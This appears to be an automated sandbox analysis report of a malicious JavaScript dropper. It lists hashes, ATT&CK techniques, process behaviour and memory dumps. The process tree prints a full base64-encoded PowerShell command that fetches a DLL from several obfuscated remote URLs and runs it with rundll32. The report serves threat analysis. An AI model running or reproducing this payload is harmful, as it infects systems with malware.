dfcad15cbe8bff713314959ad68cf7b5cbc2c50fb7ab1cd331ca88507893f323

General

Target

oU9jY5oNkYj5.js
Size

289KB
MD5

44cf31718cc520e24aa752ab4e873260
SHA1

e277355ca4d5f114e961273a63295bb297230dcc
SHA256

dfcad15cbe8bff713314959ad68cf7b5cbc2c50fb7ab1cd331ca88507893f323
SHA512

be8b75471799aa8f287acf615a87d0745b049333a2612f4bdd3f129bdaa6223621ee218ac6ff27bd078fa0e832535761699102b9b4898d3d118a47b8aaffb7d8
SSDEEP

6144:bSfr0dh2tgcH6YTkM0cNRcpZwg/EBQ+8N/ygD1pRbHFvb+sAVyCUd6hS:bSfrSh2tgcH6YTkMXRcpZwg/QQ+I/ygp

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
15	2856	powershell.exe
34	2856	powershell.exe
41	2856	powershell.exe
42	2856	powershell.exe
44	2856	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2856	powershell.exe
2856	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4608 wrote to memory of 2856	4608	wscript.exe	83
PID 4608 wrote to memory of 2856	4608	wscript.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\oU9jY5oNkYj5.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABEAGUAYwBvAHUAcABhAGcAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AUQBBAHUAQQBEAEkAQQBOAFEAQQAxAEEAQwA0AEEATQBRAEEANABBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQB2AEEARwBJAEEAWgBnAEIATQBBAEMAOABBAGQAQQBCAFAAQQBIAFUAQQBkAEEAQQA9AHgAeQBpAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIASQBBAEcAVQBBAFkAUQBCAHkAQQBIAFEAQQBjAHcAQgB2AEEASABJAEEAWgBRAEIAdQBBAEcAVQBBAGMAdwBCAHoAQQBDADQAQQBjAGcAQgB2AEEAQwA4AEEAYwBnAEEAMQBBAEUAYwBBAFkAZwBBAHYAQQBHAG8AQQBaAEEAQQAwAEEARQBJAEEAeAB5AGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATgB3AEEAdQBBAEQASQBBAE0AQQBBADMAQQBDADQAQQBNAFEAQQAzAEEARABBAEEATABnAEEANABBAEQAWQBBAEwAdwBCAG8AQQBFAGcAQQBWAEEAQQB2AEEARgBvAEEAYQBRAEEAeABBAEUAcwBBAFIAZwBBAD0AeAB5AGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeABBAEQARQBBAE0AdwBBAHYAQQBHAG8AQQBOAEEAQgBVAEEARwBvAEEAYQBnAEIAdgBBAEQAUQBBAEwAdwBCAEgAQQBHADgAQQBjAEEAQgB3AEEARABJAEEAeAB5AGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeQBBAEQATQBBAE4AZwBBAHYAQQBGAEUAQQBjAEEAQgBRAEEASABFAEEATAB3AEEAMQBBAEQATQBBAFUAQQBCAFQAQQBEAEEAQQBRAFEAQgBNAEEARwB3AEEAeAB5AGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAeQBBAEQAVQBBAE0AdwBBAHYAQQBHAFEAQQBUAEEAQgB5AEEARwB3AEEAVwBBAEEAeABBAEcASQBBAEwAdwBCAHMAQQBHAEkAQQBiAHcAQgBZAEEASABVAEEAYQB3AEIAbQBBAEcATQBBAFEAZwBBAD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAbQBlAGQAaQBvAGQAZQBwAHIAZQBzAHMAZQBkACAAaQBuACAAJABEAGUAYwBvAHUAcABhAGcAZQAgAC0AcwBwAGwAaQB0ACAAIgB4AHkAaQAiACkAIAB7AHQAcgB5ACAAewAkAFQAZQBuAGQAZQByAGgAZQBhAHIAdABlAGQATABlAHMAcwBlAG4AaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbQBlAGQAaQBvAGQAZQBwAHIAZQBzAHMAZQBkACkAKQA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAVABlAG4AZABlAHIAaABlAGEAcgB0AGUAZABMAGUAcwBzAGUAbgBpAG4AZwAgAC0ATwAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABTAHUAbABmAGkAcwBvAHgAYQB6AG8AbABlAC4AZABsAGwAOwAkAGkAbgB3AGgAZQBlAGwAVgBvAGwAdQBwAHQAdQBvAHUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAQQBBAGEAQQBCAHYAQQBIAEkAQQBZAFEAQgBrAEEARwBVAEEAYgBnAEIAawBBAEgASQBBAGIAdwBCAHUAQQBDADQAQQBjAHcAQgBwAEEASABRAEEAWgBRAEEAPQBrAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAWQBRAEIAMwBBAEcAcwBBAGEAUQBCAHoAQQBHAGcAQQBiAEEAQgA1AEEARQBnAEEAYgB3AEIAcwBBAEcAcwBBAGEAUQBCAHUAQQBHAGMAQQBMAGcAQgBqAEEASABvAEEAawBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQASQBBAE0AQQBBAHUAQQBEAEUAQQBOAFEAQQAxAEEAQwA0AEEATQBnAEEAegBBAEQAWQBBAEwAZwBBAHkAQQBEAEEAQQBNAHcAQQA9ACIAOwAkAEUAZABpAGMAdAB1AG0AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBjAEEAQgAxAEEASABRAEEAWQBRAEIAMABBAEcAawBBAGQAZwBCAGwAQQBHAHcAQQBlAFEAQQB1AEEARwBrAEEAYwB3AEEAPQBOAHMASQBMAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdwBBAEcAdwBBAFkAUQBCAHUAQQBHAFkAQQBiAHcAQgB5AEEARwAwAEEAUgBBAEIAaABBAEcAMABBAGIAZwBCAHAAQQBIAFEAQQBMAGcAQgA1AEEARwA4AEEAWgB3AEIAaABBAEEAPQA9AE4AcwBJAEwAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABRAEEATwBRAEEAdQBBAEQASQBBAE4AQQBBADAAQQBDADQAQQBNAGcAQQAwAEEARABVAEEATABnAEEAMgBBAEQAYwBBACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAFMAdQBsAGYAaQBzAG8AeABhAHoAbwBsAGUALgBkAGwAbAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADcAMAA5ADUANwApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBZAHcAQgB0AEEARwBRAEEASQBBAEEAdgBBAEcATQBBAEkAQQBCAHkAQQBIAFUAQQBiAGcAQgBrAEEARwB3AEEAYgBBAEEAegBBAEQASQBBAEkAQQBCAEQAQQBEAG8AQQBYAEEAQgBRAEEASABJAEEAYgB3AEIAbgBBAEgASQBBAFkAUQBCAHQAQQBFAFEAQQBZAFEAQgAwAEEARwBFAEEAWABBAEIAVABBAEgAVQBBAGIAQQBCAG0AQQBHAGsAQQBjAHcAQgB2AEEASABnAEEAWQBRAEIANgBBAEcAOABBAGIAQQBCAGwAQQBDADQAQQBaAEEAQgBzAEEARwB3AEEATABBAEIAdABBAEgAVQBBAGMAdwBCADAAQQBEAHMAQQAiADsAJABvAHAAZQBuAHcAbwByAGsAcwBHAGEAcgByAGkAcwBvAG4AaQBhAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEkAQQBNAHcAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AZwBBADAAQQBEAFEAQQBMAGcAQQB5AEEARABFAEEATgBBAEEAPQBaAHAAVQBLAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE4AdwBBAHUAQQBEAEUAQQBOAGcAQQAxAEEAQwA0AEEATQBRAEEAdwBBAEQAYwBBAEwAZwBBAHgAQQBEAFkAQQBPAEEAQQA9ACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2856

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tyzrt01q.htb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2856-135-0x000002204D360000-0x000002204D382000-memory.dmp

Filesize
136KB

Download
memory/2856-143-0x000002204B270000-0x000002204B280000-memory.dmp

Filesize
64KB

Download
memory/2856-144-0x000002204B270000-0x000002204B280000-memory.dmp

Filesize
64KB

Download
memory/2856-145-0x000002204B270000-0x000002204B280000-memory.dmp

Filesize
64KB

Download
memory/2856-146-0x000002204B270000-0x000002204B280000-memory.dmp

Filesize
64KB

Download
memory/2856-147-0x000002204B270000-0x000002204B280000-memory.dmp

Filesize
64KB

Download
memory/2856-148-0x000002204B270000-0x000002204B280000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing